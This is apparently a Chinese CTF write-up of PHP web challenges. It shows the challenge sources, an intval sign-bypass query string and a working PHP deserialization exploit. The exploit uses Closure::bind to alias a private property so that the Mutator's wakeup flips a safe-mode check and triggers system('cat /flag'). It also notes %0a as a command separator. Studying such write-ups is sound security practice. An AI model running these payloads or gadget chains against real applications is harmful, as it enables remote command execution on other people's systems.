本文最后更新于 2026年9月7日 晚上
纯手搓,仅借助本地AI或网络资料
WEB
sign
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <?php
ob_start();
highlight_file(__FILE__);
$userId = $_GET['userId'] ?? ''; $rawRole = $_GET['role'] ?? ''; $roleText = trim($rawRole);
function grantRole($userId, $roleId) { if ($roleId === 1) { $flag = file_get_contents('/flag'); echo $flag; } }
if (strlen($userId) < 114) { http_response_code(200); exit('user id is too short'); }
if (str_contains($roleText, '+') || str_contains($roleText, '-')) { http_response_code(200); exit('sign character is forbidden'); }
if ($roleText === '1') { http_response_code(403); exit('admin role is forbidden'); }
if (preg_match('/[eE.]/', $roleText)) { http_response_code(200); exit('invalid role id'); }
if ($roleText[0] === '0') { http_response_code(200); exit('leading zero is forbidden'); }
if (!preg_match('/[0-9]/', $roleText)) { http_response_code(200); exit('invalid role id'); }
$roleId = intval($rawRole);
grantRole($userId, $roleId);
|
intval() 函数会将字符串转换为整数,它会从左到右读取数字,直到遇到第一个非数字字符为止。
lets_goooooo

注意使用%0a这种url编码的命令分隔符时要写在地址栏里面
LamentXU’s chal
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php
ob_start();
highlight_file(__FILE__);
$userId = $_GET['userId'] ?? ''; $rawRole = $_GET['role'] ?? ''; $roleText = trim($rawRole);
function grantRole($userId, $roleId) { if ($roleId === 1) { $flag = file_get_contents('/flag'); echo $flag; } }
if (strlen($userId) < 114) { http_response_code(400); exit('user id is too short'); }
if ($roleText === '1') { http_response_code(403); exit('admin role is forbidden'); }
if (preg_match('/[eE.]/', $roleText)) { http_response_code(400); exit('invalid role id'); }
if ($roleText[0] === '0') { http_response_code(400); exit('leading zero is forbidden'); }
if (!is_numeric($roleText)) { http_response_code(400); exit('invalid role id'); }
$roleId = intval($rawRole);
grantRole($userId, $roleId);
|

没有限制使用加号
1
| userId=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&role=%2b1
|
unserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| <?php error_reporting(0);
class SecurityValidator { private $mode; private $data;
public function __construct() { $this->mode = 'safe'; $this->data = null; }
public function __wakeup() { if ($this->mode !== 'safe') { die("Security violation detected"); } }
public function getMode() { return $this->mode; }
public function getData() { return $this->data; } }
class CommandExecutor { private $validator; private $command; private $enabled;
public function __construct() { $this->validator = new SecurityValidator(); $this->command = 'echo "Hello"'; $this->enabled = false; }
public function __destruct() { if (!$this->enabled) { return; }
if (!($this->validator instanceof SecurityValidator)) { die("Invalid validator type"); }
if ($this->validator->getMode() === 'safe') { die("Safe mode active"); }
system($this->command); } }
class Mutator { public $ref;
public function __wakeup() { if (is_string($this->ref)) { $this->ref = "hacked"; } } }
if (isset($_POST['data'])) { $obj = unserialize($_POST['data']); unset($obj); exit; }
highlight_file(__FILE__);
|
这题的打法确实比较新颖,传入参数data在反序列化之后又进行了一次unser销毁对象(会调用__destruct方法)
我们的最终目的就是让CommandExecutor类走到destruct的最后一步,前提是validator必须是SecurityValidator并且它的私有参数mode必须不是safe。那么问题就出在私有参数这里了,私有参数在只能在对象内进行赋值,对象构建之后如果没有写专门修改变量的函数很难进行修改,而mode对象如果不是safe就走不下去了
那么这个时候我们观察到了Mutator对象,它在反序列化的时候会修改自身参数ref的值,那么这个时候如果用一些神奇的方法让Mutator::ref和SecurityValidator::mode调用同一个变量不就可以了吗
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php
class SecurityValidator { private $mode = 'safe'; private $data = null; }
class CommandExecutor { private $validator; private $command; private $enabled;
public function __construct(string $command) { $this->validator = new SecurityValidator(); $this->command = $command; $this->enabled = true; }
public function validator(): SecurityValidator { return $this->validator; } }
class Mutator { public $ref = 'safe'; }
$command = 'cat /flag'; $executor = new CommandExecutor($command); $mutator = new Mutator();
$bind = Closure::bind( function (Mutator $mutator) { $this->mode = &$mutator->ref; }, $executor->validator(), SecurityValidator::class ); $bind($mutator);
echo urlencode(serialize([$executor, $mutator]));
|